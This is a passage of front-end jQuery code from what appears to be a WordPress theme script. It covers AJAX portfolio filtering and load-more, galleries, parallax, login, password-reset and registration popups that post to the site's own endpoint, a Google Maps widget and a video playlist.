            filter_a.removeClass('loading-data');
            $penci_portfolio.removeClass('pcftaj-ld');
            return;
          }

          if( filter_a.hasClass('load_full')){
            pagenavi.hide();
          } else {
            pagenavi.show();
          }

        DataFilter.currentTerm = term
        DataFilter.query.paged = paged

        var data = {
          action: 'penci_pfl_more_post_ajax',
          datafilter: DataFilter,
          nonce: ajax_var_more.nonce,
        }

        $.post(ajax_var_more.url, data, function (response) {

          filter_a.attr('data-paged', paged + 1)

          var $data = $(response.data.items)

          if ( ! term_wrapper.length && term != '*' ) {
            $penci_portfolio.append('<div class="inner-portfolio-posts pcpt_data_'+ term +'"></div>')
          }

          $penci_portfolio.find('.inner-portfolio-posts').hide()
          $penci_portfolio.find('.inner-portfolio-posts').removeClass('loaded')
          $('.pcpt_data_' + term).show()
          $('.pcpt_data_' + term).addClass('loaded')

          if ( $data.length > 0 ) {
            $('.pcpt_data_' + term).isotope()
            .append( $data )
            .isotope( 'appended', $data )
            .isotope('layout');
            filter_a.addClass('loaded_data')
          } else {
            $('.pcpt_data_' + term).isotope().isotope('layout')
            filter_a.addClass('load_full')
          }

          $('.container').fitVids({ ignore: '.penci-sticky-video' })

          $('a[data-rel^="penci-gallery-image-content"]').magnificPopup({
            type: 'image',
            closeOnContentClick: true,
            closeBtnInside: false,
            fixedContentPos: true,
            image: {
              verticalFit: true,
            },
            gallery: {
              enabled: true,
            },
            zoom: {
              enabled: false,
              duration: 300,
            },
          })

          $('.portfolio-item .inner-item-portfolio').each(function () {
            var $this = $(this)
            $this.one('inview',
              function (event, isInView, visiblePartX, visiblePartY) {
                $this.addClass('animated')
              }) // inview
          }) // each

          filter_a.removeClass('loading-data')
          $penci_portfolio.removeClass('pcftaj-ld')
        })
      });

      PENCI.Ajax_Portfolio_LoadMore.loadMore(DataFilter)
      PENCI.Ajax_Portfolio_LoadMore.infinityScroll(DataFilter)
      
    }

    PENCI.Ajax_Portfolio_LoadMore = {
      btnLoadMore: $('.penci-plf-loadmore'),
      loadMore: function (DataFilter) {
        var self = this
        $('body').on('click', '.penci-plf-loadmore .penci-ajax-more-button', function (event) {
          self.actionLoadMore($(this), DataFilter)
        })
      },
      infinityScroll: function (DataFilter) {
        var self = this,
          $handle = $('.penci-plf-loadmore'),
          $button_load = $handle.find('.penci-ajax-more-button')

        if ($handle.hasClass('penci-infinite-scroll')) {
          $(window).on('scroll', function () {
            var hT = $button_load.offset().top,
              hH = $button_load.outerHeight(),
              wH = $(window).height(),
              wS = $(this).scrollTop()

            if ((
              wS > (
                hT + hH - wH
              )
            ) && $button_load.length) {
              self.actionLoadMore($button_load, DataFilter)
            }
          }).trigger('scroll')
        }
      },
      actionLoadMore: function ($button_load, DataFilter) {
        if ($button_load.hasClass('loading-portfolios')) {
          return false
        }

        $button_load.addClass('loading-portfolios')

        var mesNoMore = $button_load.data('mes_no_more'),
            mes = $button_load.data('mes'),
            currentItem = $button_load.closest('.wrapper-penci-portfolio').find('.penci-portfolio-filter li.active a'),
            $wrap_content = $button_load.closest('.wrapper-penci-portfolio').find('.inner-portfolio-posts.loaded'),
            term_name = currentItem.attr('data-term'),
            term_paged = currentItem.attr('data-paged')


            DataFilter.currentTerm = term_name
            DataFilter.query.paged = term_paged

        var data = {
          action: 'penci_pfl_more_post_ajax',
          datafilter: DataFilter,
          nonce: ajax_var_more.nonce,
        }
        $.post(ajax_var_more.url, data, function (response) {
          if (!response.data.items) {
            $button_load.find('.ajax-more-text').html(mesNoMore)
            $button_load.removeClass('loading-portfolios')

            currentItem.addClass('loadmore-finish')
            $wrap_content.addClass('nore-moreposts')
            $button_load.addClass('disable')
            return false
          }

          currentItem.attr('data-paged', term_paged + 1)

          var $data = $(response.data.items)

          $wrap_content.append($data)
          $wrap_content.isotope('appended', $data).imagesLoaded(function () {
            $wrap_content.isotope('layout')
          })

          $('.container').fitVids({ ignore: '.penci-sticky-video' })

          $('a[data-rel^="penci-gallery-image-content"]').magnificPopup({
            type: 'image',
            closeOnContentClick: true,
            closeBtnInside: false,
            fixedContentPos: true,
            image: {
              verticalFit: true,
            },
            gallery: {
              enabled: true,
            },
            zoom: {
              enabled: false,
              duration: 300,
            },
          })

          $('.portfolio-item .inner-item-portfolio').each(function () {
            var $this = $(this)
            $this.one('inview',
              function (event, isInView, visiblePartX, visiblePartY) {
                $this.addClass('animated')
              }) // inview
          }) // each

          $button_load.removeClass('loading-portfolios')
        })
      },
    }

    // end portfolio ajax

    PENCI.portfolio = function () {
      var $penci_portfolio = $('.penci-portfolio')

      if ( $penci_portfolio.hasClass( 'pcpt-ajax-ftl' ) ) {
        return;
      }

      if ($().isotope && $penci_portfolio.length) {
        $('.penci-portfolio').each(function () {
          var $this = $(this),
            unique_id = $(this).attr('id'),
            DataFilter = null

          if (typeof (
              portfolioDataJs
            ) != 'undefined' && portfolioDataJs !==
            null) {
            for (var e in portfolioDataJs) {

              if (portfolioDataJs[e].instanceId == unique_id) {
                var DataFilter = portfolioDataJs[e]
              }
            }
          }

          $this.imagesLoaded(function () {
            $this.isotope({
              itemSelector: '.portfolio-item',
              animationEngine: 'best-available',
              animationOptions: {
                duration: 250,
                queue: false,
              },
            }) // isotope

            $this.addClass('loaded')

            $('.portfolio-item .inner-item-portfolio').each(function () {
              var $this = $(this)
              $this.one('inview',
                function (event, isInView, visiblePartX, visiblePartY) {
                  $this.addClass('animated')
                }) // inview
            }) // each

            var location = window.location.hash.toString()
            if (location.length) {
              location = location.replace('#', '')
              location.match(/:/)
              var Mlocation = location.match(/^([^:]+)/)[1]
              location = location.replace(Mlocation + ':', '')

              if (location.length > 1) {

                var $termActive = $afilter.filter(
                    '[data-term="' + location + '"]'),
                  portfolioItem = $this.find('.portfolio-item'),
                  $buttonLoadMore = $this.parent().
                    find('.penci-pagenavi-shortcode')

                if ($termActive.length) {

                  liFilter.removeClass('active')
                  $termActive.parent().addClass('active')
                  $this.isotope({ filter: '.penci-' + location })

                  var dataTerm = $termActive.data('term'),
                    p = {}

                  DataFilter.currentTerm = dataTerm
                  $.each(DataFilter.countByTerms, function (t, e) {
                    p[t] = 0
                  })

                  portfolioItem.each(function (t, e) {
                    $.each((
                      $(e).data('terms') + ''
                    ).split(' '), function (t, e) {
                      p[e]++
                    })
                  })

                  var show_button = 'number' == typeof p[dataTerm] &&
                    p[dataTerm] == DataFilter.countByTerms[dataTerm]
                  if ($buttonLoadMore.length) {
                    if (portfolioItem.length !== DataFilter.count &&
                      !show_button) {
                      $buttonLoadMore.show()
                    } else {
                      $buttonLoadMore.hide()
                    }
                  }
                }
              }
            }
          }) // imagesloaded

          // Filter items when filter link is clicked
          var $filter = $this.parent().find('.penci-portfolio-filter'),
            $afilter = $filter.find('a'),
            liFilter = $filter.find('li')

          liFilter.on('click', function () {

            var self = $(this),
              term = self.find('a').data('term'),
              selector = self.find('a').attr('data-filter'),
              $e_dataTerm = $filter.find('a').
                filter('[data-term="' + term + '"]'),
              portfolioItem = $this.find('.portfolio-item'),
              $buttonLoadMore = $this.parent().
                find('.penci-pagenavi-shortcode'),
              scrollTop = $(window).scrollTop()

            liFilter.removeClass('active')
            self.addClass('active')

            $this.parent().
              find('.penci-ajax-more-button').
              attr('data-cat', term)

            $this.isotope({ filter: selector })

            if ($e_dataTerm.length) {
              window.location.hash = '*' == term ? '' : term

              $(window).scrollTop(scrollTop)
            }

            var p = {}
            DataFilter.currentTerm = term
            $.each(DataFilter.countByTerms, function (t, e) {
              p[t] = 0
            })

            portfolioItem.each(function (t, e) {
              $.each((
                $(e).data('terms') + ''
              ).split(' '), function (t, e) {
                p[e]++
              })
            })

            var show_button = 'number' == typeof p[term] && p[term] ==
              DataFilter.countByTerms[term]
            if ($buttonLoadMore.length) {
              if (portfolioItem.length !== DataFilter.count && !show_button) {
                $buttonLoadMore.show()
              } else {
                $buttonLoadMore.hide()
              }
            }

            return false
          })

          PENCI.portfolioLoadMore.loadMore($this, DataFilter)
          PENCI.portfolioLoadMore.infinityScroll(DataFilter)

        }) // each .penci-portfolio

      }	// end if isotope & portfolio

      var $btnLoadMore = $('.penci-plf-loadmore')
      if (!$().isotope || !$btnLoadMore.length) {
        return false
      }
    }

    PENCI.portfolioLoadMore = {
      btnLoadMore: $('.penci-plf-loadmore'),
      loadMore: function ($pfl_wapper, DataFilter) {
        var self = this
        $('body').on('click', '.penci-ajax-more-button', function (event) {
          self.actionLoadMore($(this), $pfl_wapper, DataFilter)
        })
      },
      infinityScroll: function (DataFilter) {
        var self = this,
          $handle = $('.penci-plf-loadmore'),
          $button_load = $handle.find('.penci-ajax-more-button')

        if ($handle.hasClass('penci-infinite-scroll')) {
          $(window).on('scroll', function () {
            var hT = $button_load.offset().top,
              hH = $button_load.outerHeight(),
              wH = $(window).height(),
              wS = $(this).scrollTop()

            if ((
              wS > (
                hT + hH - wH
              )
            ) && $button_load.length) {
              var $pfl_wapper = $button_load.closest('.penci-portfolio')
              self.actionLoadMore($button_load, $pfl_wapper, DataFilter)
            }
          }).trigger('scroll')
        }
      },
      actionLoadMore: function ($button_load, $pfl_wapper, DataFilter) {
        if ($button_load.hasClass('loading-portfolios')) {
          return false
        }

        $button_load.addClass('loading-portfolios')

        var mesNoMore = $button_load.data('mes_no_more'),
          mes = $button_load.data('mes')

        DataFilter.pflShowIds = []

        $button_load.closest('.wrapper-penci-portfolio').
          find('.portfolio-item').
          each(function (t, e) {
            DataFilter.pflShowIds.push($(e).data('pflid'))
          })

        var data = {
          action: 'penci_pfl_more_post_ajax',
          datafilter: DataFilter,
          nonce: ajax_var_more.nonce,
        }
        $.post(ajax_var_more.url, data, function (response) {
          if (!response.data.items) {
            $button_load.find('.ajax-more-text').html(mesNoMore)
            $button_load.removeClass('loading-portfolios')

            $button_load.closest('.wrapper-penci-portfolio').
              find('.penci-portfolio-filter li.active').
              addClass('loadmore-finish')

            setTimeout(function () {
              $button_load.parent().parent().hide()
              $button_load.find('.ajax-more-text').html(mes)
            }, 1200)

            return false
          }

          var $wrap_content = $button_load.closest('.wrapper-penci-portfolio').
              find('.penci-portfolio'),
            $data = $(response.data.items)

          $wrap_content.find('.inner-portfolio-posts').append($data)
          $wrap_content.isotope('appended', $data).imagesLoaded(function () {
            $wrap_content.isotope('layout')
          })

          $('.container').fitVids({ ignore: '.penci-sticky-video' })

          $('a[data-rel^="penci-gallery-image-content"]').magnificPopup({
            type: 'image',
            closeOnContentClick: true,
            closeBtnInside: false,
            fixedContentPos: true,
            image: {
              verticalFit: true,
            },
            gallery: {
              enabled: true,
            },
            zoom: {
              enabled: false,
              duration: 300,
            },
          })

          $wrap_content.addClass('loaded')

          $('.portfolio-item .inner-item-portfolio').each(function () {
            var $this = $(this)
            $this.one('inview',
              function (event, isInView, visiblePartX, visiblePartY) {
                $this.addClass('animated')
              }) // inview
          }) // each

          $button_load.removeClass('loading-portfolios')
        })
      },
    }

    /* Gallery
 ----------------------------------------------------------------*/
    PENCI.gallery = function () {
      var $justified_gallery = $('.penci-post-gallery-container.justified')
      var $masonry_gallery = $('.penci-post-gallery-container.masonry')
      if ($().justifiedGallery && $justified_gallery.length) {
        $('.penci-post-gallery-container.justified').each(function () {
          var $this = $(this)
          $this.justifiedGallery({
            rowHeight: $this.data('height'),
            lastRow: 'nojustify',
            margins: $this.data('margin'),
            randomize: false,
          })
        }) // each .penci-post-gallery-container
      }

      if ($().isotope && $masonry_gallery.length) {

        $('.penci-post-gallery-container.masonry .item-gallery-masonry').
          each(function () {
            var $this = $(this).children()
            if ($this.attr('data-cap') && !$this.hasClass('added-caption')) {
              var $title = $this.attr('data-cap')
              if ($title !== 'undefined') {
                $this.children().
                  append('<div class="caption">' + $title + '</div>')
                $this.addClass('added-caption')
              }

            }
          })
      }

      if ($masonry_gallery.length) {
        $masonry_gallery.each(function () {
          var $this = $(this)
          $this.imagesLoaded(function () {
            // initialize isotope
            $this.isotope({
              itemSelector: '.item-gallery-masonry',
              transitionDuration: '.55s',
              layoutMode: 'masonry',
            })

            $this.addClass('loaded')

            $('.penci-post-gallery-container.masonry .item-gallery-masonry').
              each(function () {
                var $this = $(this)
                $this.one('inview',
                  function (event, isInView, visiblePartX, visiblePartY) {
                    $this.children().addClass('animated')
                  }) // inview
              }) // each
          })
        })
      }
    },

      /* Jarallax
 ----------------------------------------------------------------*/
      PENCI.Jarallax = function () {
        if (!$.fn.jarallax || !$('.penci-jarallax').length) {
          return false
        }
        $('.penci-jarallax').each(function () {
          var $this = $(this),
            $jarallaxArgs = {}

          $this.imagesLoaded({ background: true }, function () {
            jarallax($this, $jarallaxArgs)
          })
        })
      },

      /* Related Popup
 ----------------------------------------------------------------*/
      PENCI.RelatedPopup = function () {
        if ($('.penci-rlt-popup').length) {
          var rltpopup = $('.penci-rlt-popup'),
            rltclose = $('.penci-rlt-popup .penci-close-rltpopup'),
            rltlazy = rltpopup.find('.penci-lazy')

          $('body').on('inview', '.penci-flag-rlt-popup',
            function (event, isInView, visiblePartX, visiblePartY) {
              if (!rltpopup.hasClass('rltpopup-notshow-again') &&
                isInView) {
                rltpopup.addClass('rltpopup-show-up')
                rltclose.on('click', function (e) {
                  e.preventDefault()
                  rltpopup.removeClass('rltpopup-show-up').
                    addClass('rltpopup-notshow-again')
                })
              }
            })
          rltclose.on('click', function (e) {
            e.preventDefault()
            rltpopup.removeClass('rltpopup-show-up').
              addClass('rltpopup-notshow-again')
          })
        }
      },

      PENCI.extraFunction = {
        init: function () {
          this.counterUp()
          this.progressBar()
          this.loginPopup()
          this.recoverPassPopup()
          this.registerPopup()
          this.login()
          this.register()
          this.map()
          if ($('#penci_agreebox').is(':checked')) {
            $('.register-input-checkbox').addClass('checked');
          }
          $('body').on('change', '#penci_agreebox', function () {
              if ($(this).is(':checked')) {
                  $('.register-input-checkbox').addClass('checked');
              } else {
                  $('.register-input-checkbox').removeClass('checked');
              }
          });
        },
        progressBar: function () {
          if ($('.penci-review-process').length) {
            $('.penci-review-process').each(function () {
              var $this = $(this),
                $bar = $this.children(),
                $bar_w = $bar.data('width') * 10
              $this.one('inview',
                function (event, isInView, visiblePartX, visiblePartY) {
                  $bar.animate({ width: $bar_w + '%' }, 1000)
                }) // bind inview
            }) // each
          }

          if ($.fn.easyPieChart && $('.penci-piechart').length) {
            $('.penci-piechart').each(function () {
              var $this = $(this)
              $this.one('inview',
                function (event, isInView, visiblePartX, visiblePartY) {
                  var chart_args = {
                    barColor: $this.data('color'),
                    trackColor: $this.data('trackcolor'),
                    scaleColor: false,
                    lineWidth: $this.data('thickness'),
                    size: $this.data('size'),
                    animate: 1000,
                  }
                  $this.easyPieChart(chart_args)
                }) // bind inview
            }) // each
          }
        },
        counterUp: function () {
          var $counterup = $('.penci-counterup-number')

          if (!$.fn.counterUp || !$counterup.length) {
            return false
          }

          $counterup.each(function () {
            var $this = $(this)

            $this.one('inview',
              function (event, isInView, visiblePartX, visiblePartY) {
                setTimeout(function () {
                  $({ countNum: $this.text() }).animate(
                    {
                      countNum: $this.attr('data-count'),
                    },

                    {
                      duration: 2000,
                      easing: 'linear',
                      step: function () {
                        $this.text(Math.floor(this.countNum))
                      },
                      complete: function () {
                        $this.text(this.countNum)
                      },
                    },
                  )
                }, $this.attr('data-delay'))

              }) // bind inview
          })
        },
        loginPopup: function () {
          var $body = $('body'),
            $loginform = $('#penci-loginpopform'),
            $loginContainer = $loginform.closest('.penci-popup-wrapper')

          if ($loginform.length) {

            $('.penci-login-popup-btn a').magnificPopup({
              type: 'inline',
              midClick: true,
              removalDelay: 600,
              mainClass: 'penci-popup-animation',
            })

            $body.on('click', '.penci-lostpassword-btn', function (e) {
              var $this = $(this),
                $parent = $this.closest('.penci-popup-wrapper')

              $parent.children('.penci-popup-passreset').slideDown('normal')
              $parent.children('.penci-popup-login').slideUp('normal')
              e.preventDefault()
              return false
            })

            $body.on('click', '.penci-register-popup-btn', function (e) {
              var $this = $(this),
                $parent = $this.closest('.penci-popup-wrapper')

              $parent.children('.penci-popup-register').slideDown('normal')
              $parent.children('.penci-popup-login').slideUp('normal')
              e.preventDefault()
              return false
            })

            $body.on('click', '.penci-login-popup-btn', function (e) {
              var $this = $(this),
                $parent = $this.closest('.penci-popup-wrapper')

              $parent.children('.penci-popup-login').slideDown('normal')
              $parent.children('.penci-popup-register').slideUp('normal')
              $parent.children('.penci-popup-passreset').slideUp('normal')

              e.preventDefault()
              return false
            })

            $('#penci_user, #penci_pass').on('focus', function () {
              $(this).removeClass('invalid')
            })

            $loginform.on('submit', function (e) {
              var $this = $(this),
                inputUsername = $this.find('#penci_user'),
                inputPass = $this.find('#penci_pass'),
                valUsername = inputUsername.val(),
                valPass = inputPass.val(),
                nonce = $this.find('.penci_form_nonce').val(),
                gcapcha = $this.find('.g-recaptcha-response')
              if (gcapcha.length) {
                var captcha = gcapcha.val()
              } else {
                var captcha = 'noexists'
              }

              if (inputUsername.length > 0 && valUsername == '') {
                inputUsername.addClass('invalid')
                e.preventDefault()
              }

              if (inputPass.length > 0 && valPass == '') {
                inputPass.addClass('invalid')
                e.preventDefault()
              }

              if (valUsername == '' || valPass == '') {
                return false
              }

              $loginContainer.addClass('ajax-loading')
              $loginContainer.find('.message').slideDown().remove()

              var data = {
                action: 'penci_login_ajax',
                username: valUsername,
                password: valPass,
                captcha: captcha,
                security: nonce,
                remember: $loginContainer.find('#remembermepopup').val(),
              }

              $.post(ajax_var_more.url, data, function (response) {
                $loginContainer.removeClass('ajax-loading')
                $loginContainer.children('.penci-popup-login').
                  append(response.data)
                if (!response.success) {
                  return
                }

                var rdurl = window.location.href,
                  curl = ajax_var_more.redirect_url,
                  urlPattern = /^(https?:\/\/)?([\w-]+\.)*[\w-]+[\.][\w]+(\/.*)?$/

                if (urlPattern.test(curl)) {
                  rdurl = curl
                }

                window.location.href = rdurl + '?singin=true'
              })

              e.preventDefault()
              return false
            })
          }
        },
        recoverPassPopup: function () {
          var $body = $('body'),
            $recoveryform = $('#penci-passreset-popup'),
            $recoveryContainer = $recoveryform.closest(
              '.penci-popup-wrapper')

          if ($recoveryform.length) {

            $('.penci_user_email').on('focus', function () {
              $(this).removeClass('invalid')
            })

            $recoveryform.on('submit', function (e) {
              e.preventDefault()

              var $this = $(this),
                inputUsername = $this.find('.penci_user_email'),
                valUsername = inputUsername.val(),
                nonce = $this.find('.penci_form_nonce').val(),
                gcapcha = $this.find('.g-recaptcha-response')
              if (gcapcha.length) {
                var captcha = gcapcha.val()
              } else {
                var captcha = 'noexists'
              }

              if (inputUsername.length > 0 && valUsername == '') {
                inputUsername.addClass('invalid')

                e.preventDefault()
                return false
              }

              $recoveryContainer.addClass('ajax-loading')
              $recoveryContainer.find('.message').slideDown().remove()

              var data = {
                action: 'penci_resetpass_ajax',
                security: nonce,
                username: valUsername,
                captcha: captcha,
              }

              $.post(ajax_var_more.url, data, function (response) {
                $recoveryContainer.removeClass('ajax-loading')
                $recoveryContainer.children('.penci-popup-passreset').
                  append(response.data)

                return
              })

              event.preventDefault()
              return false
            })
          }
        },
        registerPopup: function () {
          var $body = $('body'),
            $registerform = $('#penci-register-popup'),
            $registerContainer = $registerform.closest(
              '.penci-popup-wrapper')

          if ($registerform.length) {

            var $allInput = $(
              '.penci_user_name,.penci_user_email,.penci_user_pass,.penci_user_pass_confirm')
            $allInput.on('focus', function () {
              $(this).removeClass('invalid')
            })

            $registerform.on('submit', function (e) {
              e.preventDefault()

              var $this = $(this),
                inputUsername = $this.find('.penci_user_name'),
                inputEmail = $this.find('.penci_user_email'),
                $inputPass = $this.find('.penci_user_pass'),
                inputPhone = $this.find('.penci_user_phone'),
                $inputPassConfirm = $this.find('.penci_user_pass_confirm'),
                valUsername = inputUsername.val(),
                valEmail = inputEmail.val(),
                valPass = $inputPass.val(),
                valPhone = inputPhone.val(),
                valPassConfirm = $inputPassConfirm.val(),
                nonce = $this.find('.penci_form_nonce').val(),
                gcapcha = $this.find('.g-recaptcha-response')
              if (gcapcha.length) {
                var captcha = gcapcha.val()
              } else {
                var captcha = 'noexists'
              }

              $allInput.removeClass('invalid')

              if (inputUsername.length > 0 && valUsername == '') {
                inputUsername.addClass('invalid')
                event.preventDefault()
              }
              
              if (inputPhone.length > 0 && valPhone == '') {
                inputPhone.addClass('invalid')
                event.preventDefault()
              }

              if (inputEmail.length > 0 && valEmail == '') {
                inputEmail.addClass('invalid')
                event.preventDefault()
              }

              if ($inputPass.length > 0 && valPass == '') {
                $inputPass.addClass('invalid')
                event.preventDefault()
              }

              if ($inputPassConfirm.length > 0 && valPassConfirm == '') {
                $inputPassConfirm.addClass('invalid')
                event.preventDefault()
              }
              if (valUsername == '' || valEmail == '' || valPass == '' ||
                valPassConfirm == '') {
                return false
              }

              $registerContainer.find('.message').slideDown().remove()

              // Password does not match the confirm password
              if (valPassConfirm !== valPass) {
                $inputPass.addClass('invalid')
                $inputPassConfirm.addClass('invalid')
                $registerContainer.children('.penci-popup-register').
                  append(ajax_var_more.errorPass)
                event.preventDefault()

                return false
              }
              $registerContainer.addClass('ajax-loading')

              var data = {
                action: 'penci_register_ajax',
                fistName: $this.find('.penci_first_name').val(),
                lastName: $this.find('.penci_last_name').val(),
                username: valUsername,
                password: valPass,
                phone: valPhone,
                confirmPass: valPassConfirm,
                email: valEmail,
                security: nonce,
                captcha: captcha,
              }

              $.post(ajax_var_more.url, data, function (response) {
                $registerContainer.removeClass('ajax-loading')
                $registerContainer.children('.penci-popup-register').
                  append(response.data)
                if (!response.success) {
                  return
                }
                window.location.href = window.location.href + '?singin=true'
              })

              event.preventDefault()
              return false
            })

          }
        },
        login: function () {
          var $body = $('body'),
            $loginform = $('.penci-loginform'),
            $loginContainer = $loginform.parent('.penci-login-wrap')

          if ($loginform.length) {
            $body.on('click', '.penci-user-register', function (e) {
              e.preventDefault()

              var $this = $(this),
                $parent = $this.closest('.penci-login-register')

              $parent.find('.penci-login-wrap').addClass('hidden')
              $parent.find('.penci-register-wrap').removeClass('hidden')
            })

            $('#penci-user-login,#penci-user-pass').on('focus', function () {
              $(this).removeClass('invalid')
            })

            $('.penci-loginform').each(function () {
              $(this).on('submit', function (e) {
                var $this = $(this),
                  $loginContainer = $this.parent('.penci-login-wrap'),
                  inputUsername = $this.find('#penci-user-login'),
                  inputPass = $this.find('#penci-user-pass'),
                  valUsername = inputUsername.val(),
                  valPass = inputPass.val(),
                  nonce = $this.find('.penci_form_nonce').val(),
                  gcapcha = $this.find('.g-recaptcha-response')
                if (gcapcha.length) {
                  var captcha = gcapcha.val()
                } else {
                  var captcha = 'noexists'
                }

                if (inputUsername.length > 0 && valUsername == '') {
                  inputUsername.addClass('invalid')
                  e.preventDefault()
                }

                if (inputPass.length > 0 && valPass == '') {
                  inputPass.addClass('invalid')
                  e.preventDefault()
                }

                if (valUsername == '' || valPass == '') {
                  return false
                }

                $loginContainer.parent().addClass('ajax-loading')
                $loginContainer.find('.message').slideDown().remove()

                var data = {
                  action: 'penci_login_ajax',
                  username: valUsername,
                  password: valPass,
                  captcha: captcha,
                  security: nonce,
                  remember: $loginContainer.find('#rememberme').val(),
                }

                $.post(ajax_var_more.url, data, function (response) {
                  $loginContainer.parent().removeClass('ajax-loading')
                  $loginContainer.append(response.data)
                  if (!response.success) {
                    return
                  }

                  window.location.href = window.location.href + '?singin=true'
                })

                e.preventDefault()
                return false
              })
            })
          }
        },
        register: function () {
          var $body = $('body'),
            $registerform = $('#penci-registration-form'),
            $registerContainer = $registerform.closest(
              '.penci-register-wrap')

          if (!$registerform.length) {
            return false
          }

          $body.on('click', '.penci-user-login-here', function (e) {
            e.preventDefault()

            var $this = $(this),
              $parent = $this.closest('.penci-login-register')

            $parent.find('.penci-login-wrap').removeClass('hidden')
            $parent.find('.penci-register-wrap').addClass('hidden')

            return false
          })

          var $allInput = $(
            '.penci_user_name,.penci_user_email,.penci_user_pass,.penci_user_pass_confirm')
          $allInput.on('focus', function () {
            $(this).removeClass('invalid')
          })

          $('.penci-registration-form').each(function () {
            $(this).on('submit', function (e) {
              e.preventDefault()

              var $this = $(this),
                $registerContainer = $this.closest('.penci-register-wrap'),
                inputUsername = $this.find('.penci_user_name'),
                inputEmail = $this.find('.penci_user_email'),
                $inputPass = $this.find('.penci_user_pass'),
                $inputPassConfirm = $this.find('.penci_user_pass_confirm'),
                valUsername = inputUsername.val(),
                valEmail = inputEmail.val(),
                valPass = $inputPass.val(),
                valPassConfirm = $inputPassConfirm.val(),
                inputPhone = $this.find('.penci_user_phone'),
                valPhone = inputPhone.val(),
                nonce = $this.find('.penci_form_nonce').val(),
                gcapcha = $this.find('.g-recaptcha-response')
              if (gcapcha.length) {
                var captcha = gcapcha.val()
              } else {
                var captcha = 'noexists'
              }

              $allInput.removeClass('invalid')

              if (inputUsername.length > 0 && valUsername == '') {
                inputUsername.addClass('invalid')
                event.preventDefault()
              }

              if (inputPhone.length > 0 && valPhone == '') {
                  inputPhone.addClass('invalid')
                  event.preventDefault()
              }

              if (inputEmail.length > 0 && valEmail == '') {
                inputEmail.addClass('invalid')
                event.preventDefault()
              }

              if ($inputPass.length > 0 && valPass == '') {
                $inputPass.addClass('invalid')
                event.preventDefault()
              }

              if ($inputPassConfirm.length > 0 && valPassConfirm == '') {
                $inputPassConfirm.addClass('invalid')
                event.preventDefault()
              }
              if (valUsername == '' || valEmail == '' || valPass == '' ||
                valPassConfirm == '') {
                return false
              }

              $registerContainer.find('.message').slideDown().remove()

              // Password does not match the confirm password
              if (valPassConfirm !== valPass) {
                $inputPass.addClass('invalid')
                $inputPassConfirm.addClass('invalid')
                $registerContainer.append(ajax_var_more.errorPass)
                event.preventDefault()

                return false
              }
              $registerContainer.parent().addClass('ajax-loading')

              var data = {
                action: 'penci_register_ajax',
                fistName: $this.find('.penci_first_name').val(),
                lastName: $this.find('.penci_last_name').val(),
                username: valUsername,
                password: valPass,
                confirmPass: valPassConfirm,
                email: valEmail,
                phone: valPhone,
                security: nonce,
                captcha: captcha,
              }

              $.post(ajax_var_more.url, data, function (response) {
                $registerContainer.parent().removeClass('ajax-loading')
                $registerContainer.append(response.data)
                if (!response.success) {
                  return
                }
                window.location.href = window.location.href + '?singin=true'
              })

              event.preventDefault()
              return false
            })
          })
        },
        map: function () {
          if (!$('.penci-google-map').length) {
            return false
          }
          $('.penci-google-map').each(function () {

            var map = $(this),
              Option = map.data('map_options'),
              mapID = map.attr('id')

            var mapTypePre = google.maps.MapTypeId.ROADMAP
            switch (Option.map_type) {
              case'satellite':
                mapTypePre = google.maps.MapTypeId.SATELLITE
                break
              case'hybrid':
                mapTypePre = google.maps.MapTypeId.HYBRID
                break
              case'terrain':
                mapTypePre = google.maps.MapTypeId.TERRAIN
            }
            var latLng = new google.maps.LatLng(-34.397, 150.644)
            var map = new google.maps.Map(document.getElementById(mapID), {
              zoom: parseInt(Option.map_zoom),
              center: latLng,
              mapTypeId: mapTypePre,
              panControl: Option.map_pan,
              zoomControl: Option.map_is_zoom,
              mapTypeControl: true,
              scaleControl: Option.map_scale,
              streetViewControl: Option.map_street_view,
              rotateControl: Option.map_rotate,
              overviewMapControl: Option.map_overview,
              scrollwheel: Option.map_scrollwheel,
            })
            var marker = new google.maps.Marker({
              position: latLng,
              map: map,
              title: Option.marker_title,
              icon: Option.marker_img,
            })

            if (Option.info_window) {
              var infoWindow = new google.maps.InfoWindow({
                content: Option.info_window,
              })

              google.maps.event.addListener(marker, 'click', function () {
                infoWindow.open(map, marker)
              })
            }

            if ('coordinates' == Option.map_using && Option.latitude &&
              Option.longtitude) {
              latLng = new google.maps.LatLng(Option.latitude,
                Option.longtitude)
              map.setCenter(latLng)
              marker.setPosition(latLng)
            } else {
              var geocoder = new google.maps.Geocoder()
              geocoder.geocode({
                address: Option.address,
              }, function (results) {
                var loc = results[0].geometry.location
                latLng = new google.maps.LatLng(loc.lat(), loc.lng())
                map.setCenter(latLng)
                marker.setPosition(latLng)
              })
            }
          })
        },
      },

      PENCI.VideosList = {
        // Init the module
        init: function () {
          PENCI.VideosList.play()
        },
        play: function () {
          if (!$('.penci-video_playlist').length) {
            return false
          }
          $('.penci-video_playlist').each(function (idx, item) {
            var $blockVideo = $(this),
              $VideoF = $blockVideo.find('.penci-video-frame')

            var $height = $blockVideo.find('.penci-video-nav').height(),
              $heightTitle = $blockVideo.find(
                '.penci-video-nav .penci-playlist-title').height()

            $blockVideo.find('.penci-video-playlist-nav').
              css('height', $height - $heightTitle)
            // Init
            $VideoF.video()
            PENCI.VideosList.updateStatus($blockVideo)

            // Show First video and remove the loader icon
            $VideoF.addVideoEvent('ready', function () {
              $VideoF.css('visibility', 'visible').fadeIn()
              $blockVideo.find('.loader-overlay').remove()
            })
            // Play videos
            $blockVideo.on('click', '.penci-video-playlist-item', function () {
              var $thisVideo = $(this),
                frameID = $thisVideo.data('name'),
                $thisFrame = $('#' + frameID),
                videoSrc = $thisVideo.data('src'),
                videoNum = $thisVideo.find('.penci-video-number').text()

              if ($thisVideo.hasClass('is-playing')) {
                $thisFrame.pauseVideo()
                return
              }

              // Update the number of the playing video in the title section
              $blockVideo.find('.penci-video-playing').text(videoNum)

              // Pause all Videos
              $blockVideo.find('.penci-video-frame').each(function () {
                $(this).pauseVideo().hide()
              })

              // If the iframe not loaded before, add it
              if (!$thisFrame.length) {
                // Add the loader icon
                $blockVideo.find('.fluid-width-video-wrapper').prepend('')

                $blockVideo.find('.fluid-width-video-wrapper').
                  append('<iframe class="penci-video-frame" id="' + frameID +
                    '" src="' + videoSrc +
                    '" frameborder="0" width="100%"" height="434" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>')
                $thisFrame = $('#' + frameID)

                $thisFrame.video() // reinit

                $thisFrame.addVideoEvent('ready',
                  function (e, $thisFrame, video_type) {
                    $thisFrame.playVideo()
                    $blockVideo.find('.loader-overlay').remove()
